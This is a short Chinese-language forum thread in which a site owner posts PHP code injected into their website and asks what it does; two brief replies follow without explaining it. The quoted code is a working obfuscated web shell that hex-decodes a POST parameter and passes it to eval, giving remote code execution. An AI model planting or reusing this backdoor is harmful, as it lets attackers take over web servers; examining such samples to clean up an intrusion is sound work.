monery2 發表於 2021-4-27 11:10:11

网址部分php被恶意添加代码了 请问这是什么意思

class _<br />{<br />&nbsp; &nbsp; static public $TokenUserLoger=Null;<br />&nbsp; &nbsp; function __construct($l=&quot;error&quot;){<br />&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;self::$TokenUserLoger=$l;<br />&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;@eval/*This error level Listensing*/(null.null.self::$TokenUserLoger);<br />&nbsp; &nbsp; }<br />}<br />function hexToStr($hex){&nbsp; &nbsp;<br />&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$str=&quot;&quot;; <br />&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;for($i=0;$i&lt;strlen($hex)-1;$i+=2)<br />&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$str.=chr(hexdec($hex[$i].$hex[$i+1]));<br />&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;return&nbsp;&nbsp;$str;<br />&nbsp; &nbsp; } <br />$TokenError = null.hexToStr(@$_POST/*\*/[&quot;VersCollect&quot;]);<br />$d = new _($TokenError);<br /><br />上面是被恶意添加的<br /><br />TokenUserLoger<em>, </em>function<em>, </em>error<em>, </em>self<em>, </em>null

DingJunkeji 發表於 2022-9-11 22:33:57

我看到了token，跟验证的一个码一样

耗子 發表於 2022-9-12 16:13:36

打包了一下
頁: [1]
查看完整版本: 网址部分php被恶意添加代码了 请问这是什么意思